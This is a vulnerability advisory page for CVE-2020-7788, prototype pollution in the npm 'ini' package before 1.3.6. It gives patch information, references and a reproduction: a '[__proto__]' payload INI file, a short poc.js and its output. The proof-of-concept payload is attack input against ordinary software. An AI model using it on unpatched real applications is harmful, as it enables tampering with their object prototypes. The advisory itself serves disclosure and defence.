ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2020-7788US | critical9.8 | — | ||
This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the appli… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/npm/iniPACKAGE
- https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1WEB
- https://lists.debian.org/debian-lts-announce/2020/12/msg00032.htmlWEB
- https://nvd.nist.gov/vuln/detail/CVE-2020-7788ADVISORY
- https://snyk.io/vuln/SNYK-JS-INI-1048974WEB
- https://www.npmjs.com/advisories/1589WEB
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan